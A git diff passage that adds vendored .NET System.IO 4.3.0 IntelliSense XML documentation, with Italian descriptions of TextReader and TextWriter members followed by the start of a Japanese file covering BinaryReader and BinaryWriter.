un carattere nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nella stringa corrente in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa un carattere seguito in modo asincrono da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa una sottomatrice di caratteri seguiti da un terminatore di riga in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa, seguita in modo asincrono da un terminatore di riga, nella stringa attuale. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Rappresenta un visualizzatore in grado di leggere una serie sequenziale di caratteri. + 2 + + + Inizializza una nuova istanza della classe . + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Fornisce un oggetto TextReader senza dati da cui sia possibile eseguire letture. + 1 + + + Legge il carattere successivo senza modificare lo stato del visualizzatore o dell'origine del carattere.Restituisce il successivo carattere disponibile senza leggerlo effettivamente dal lettore. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il lettore non supporta la ricerca. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal lettore di testo e fa avanzare di un carattere la posizione del carattere. + Carattere successivo del lettore di testo oppure -1 se non sono disponibili altri caratteri.L'implementazione predefinita restituisce -1. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che i dati siano disponibili all'interno del lettore o meno.Se viene chiamato quando non sono più disponibili altri caratteri da leggere, questo metodo restituirà zero. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del reader prima che il numero di caratteri specificato venga letto nel buffer, il metodo restituisce un risultato. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, questo parametro contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + -1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 2 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal lettore di testo e restituisce i dati come stringa. + Riga successiva dal lettore oppure null se tutti i caratteri sono stati letti. + Si è verificato un errore di I/O. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + La classe è chiusa. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge una riga di caratteri in modo asincrono e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di testo oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Stringa contenente tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo. + Si è verificato un errore di I/O. + La classe è chiusa. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità del lettore di testo. + Il numero di caratteri è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Rappresenta un writer in grado di scrivere una serie sequenziale di caratteri.Questa classe è astratta. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il provider di formato specificato. + Oggetto che controlla la formattazione. + + + Archivia i caratteri di nuova riga usati per questo TextWriter. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Se sottoposto a override in una classe derivata, restituisce la codifica caratteri in cui viene scritto l'output. + Codifica caratteri in cui viene scritto l'output. + 1 + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il writer di testo viene eliminato. + Il writer è attualmente utilizzato da un'operazione di scrittura precedente. + + + Ottiene un oggetto che controlla la formattazione. + Oggetto per impostazioni cultura specifiche oppure la formattazione delle impostazioni cultura correnti se non sono specificate altre impostazioni cultura. + 2 + + + Recupera o imposta la stringa di terminazione di riga usata dall'oggetto TextWriter corrente. + Stringa di terminazione di riga relativa all'oggetto TextWriter corrente. + 2 + + + Fornisce un oggetto TextWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore Boolean. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nella stringa o flusso di testo. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri nella stringa o flusso di testo. + Matrice di caratteri da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri nel flusso o nella stringa di testo. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore decimale. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 8 byte. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte con segno. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte con segno. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un oggetto chiamando il metodo ToString su tale oggetto. + Oggetto da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 4 byte. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa nella stringa o nel flusso di testo. + Stringa da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + + o è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte senza segno. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte senza segno. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una matrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se è null, non viene scritta alcuna voce. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso o nella stringa di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore Boolean, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nella stringa o nel flusso di testo un carattere seguito da un terminatore di riga. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + Posizione del carattere in dalla quale avviare la lettura dei dati. + Numero massimo di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore decimale, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 8 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 4 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un oggetto chiamando il metodo ToString sull'oggetto, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Oggetto da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 4 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Stringa da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + Viene passato un oggetto o una stringa come null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive la rappresentazione in forma di testo di un intero a 4 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un terminatore di riga in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono un carattere seguito da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se la matrice di caratteri è null, viene scritto solo il terminatore di riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/ja/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/ja/System.IO.xml new file mode 100644 index 0000000..d62c1fb --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/ja/System.IO.xml @@ -0,0 +1,2264 @@ + + + + System.IO + + + + プリミティブ データ型を特定のエンコーディングのバイナリ値として読み取ります。 + 2 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + 使用する文字エンコーディング。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + は null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + または が null です。 + + + + の基になるストリームへのアクセスを公開します。 + BinaryReader に関連付けられた、基になるストリーム。 + 2 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 指定したバイト数分だけストリームから読み取ったバイトを内部バッファーに格納します。 + 読み取るバイト数。 + + 分のバイトを読み取る前にストリームの末尾に到達しました。 + I/O エラーが発生しました。 + 要求された が、内部バッファー サイズより大きくなっています。 + + + 読み取り可能な次の文字を返します。バイトの位置または文字の位置は変化しません。 + 使用できる次の文字。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 現在の文字は、ストリーム用に選択された を使用して内部文字バッファーにデコードできません。 + 2 + + + 基になるストリームから文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 入力ストリームの次の文字。現在読み取り可能な文字がない場合は -1。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + バイト配列内の指定された位置を開始点として、ストリームから指定されたバイト数を読み取ります。 + + に読み取るバイト数。要求したバイト数分のバイトを読み取れなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取るバイト数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 文字配列内の指定された位置を開始点として、ストリームから指定された文字数を読み取ります。 + バッファーに読み取られた合計文字数。要求した文字数分の文字を読み取れなかった場合、この値は要求した文字数より小さくなります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取る文字の数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 32 ビット整数を圧縮形式で読み取ります。 + 圧縮形式の 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + ストリームが破損しています。 + + + 現在のストリームから Boolean 値を読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 読み取ったバイトが 0 以外の場合は true。0 の場合は false。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから次のバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った次のバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから指定されたバイト数をバイト配列に読み取り、そのバイト数だけストリーム内の現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されているバイト配列。ストリームの末尾に到達した場合は要求したバイト数より小さくなることがあります。 + 読み取るバイト数。この値は 0 以上の数字の必要があり、それ以外の場合は例外が発生します。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + が負の値です。 + 2 + + + 現在のストリームの次の文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 現在のストリームから読み取った文字。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + サロゲート文字が読み取られました。 + 2 + + + 現在のストリームから指定された文字数を読み取り、そのデータを文字配列として返します。また、使用した Encoding とストリームから読み取った特定の文字に従って現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されている文字配列。ストリームの末尾に到達した場合は、要求された文字数より小さくなることがあります。 + 読み取る文字の数。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + + が負の値です。 + 2 + + + 現在のストリームから 10 進数値を読み取り、ストリームの現在位置を 16 バイトだけ進めます。 + 現在のストリームから読み取った 10 進数値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト浮動小数点値を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 2 バイト符号付き整数を読み取り、ストリームの現在位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号付き整数を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号付き整数を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから符号付きバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った符号付きバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト浮動小数点値を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 1 つの文字列を読み取ります。ストリームの文字列は、7 ビットごとにエンコードされた文字列の長さが先頭に付加されています。 + 読み取った文字列。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + リトル エンディアン エンコーディングを使用して現在のストリームから 2 バイト符号なし整数を読み取り、ストリームの位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号なし整数を読み取り、ストリームの位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号なし整数を読み取り、ストリームの位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号なし整数。 + ストリームの末尾に到達しました。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + プリミティブ型をバイナリでストリームに書き込みます。特定のエンコーディングの文字列の書き込みをサポートします。 + 2 + + + ストリームへの書き込みを行う クラスの新しいインスタンスを初期化します。 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + は null なので、 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + 使用する文字エンコーディング。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 出力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + + の基になるストリームを取得します。 + BinaryWriter に関連付けられた、基になるストリーム。 + 1 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ 